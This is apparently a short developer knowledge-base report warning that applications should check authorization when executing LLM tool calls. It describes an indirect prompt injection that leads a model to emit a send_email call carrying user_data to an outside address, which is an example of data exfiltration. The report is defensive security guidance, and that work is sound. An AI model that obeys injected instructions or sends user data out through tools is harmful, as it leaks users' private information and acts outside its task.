Report #67752
[gotcha] Excessive Agency in Function Calling Execution
Implement strict authorization checks on the execution side of tool calls, not just the LLM generation side; never rely on the LLM to enforce access control or intent.
Journey Context:
Developers expose tools \(e.g., delete\_file, send\_email\) to the LLM and expect it to only use them when appropriate. An indirect prompt injection can easily instruct the LLM to call send\_email\(to='[email protected]', body=user\_data\). The LLM happily generates the JSON for the tool call, and the application blindly executes it, assuming the LLM 'knew best'.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T20:12:20.473276+00:00— report_created — created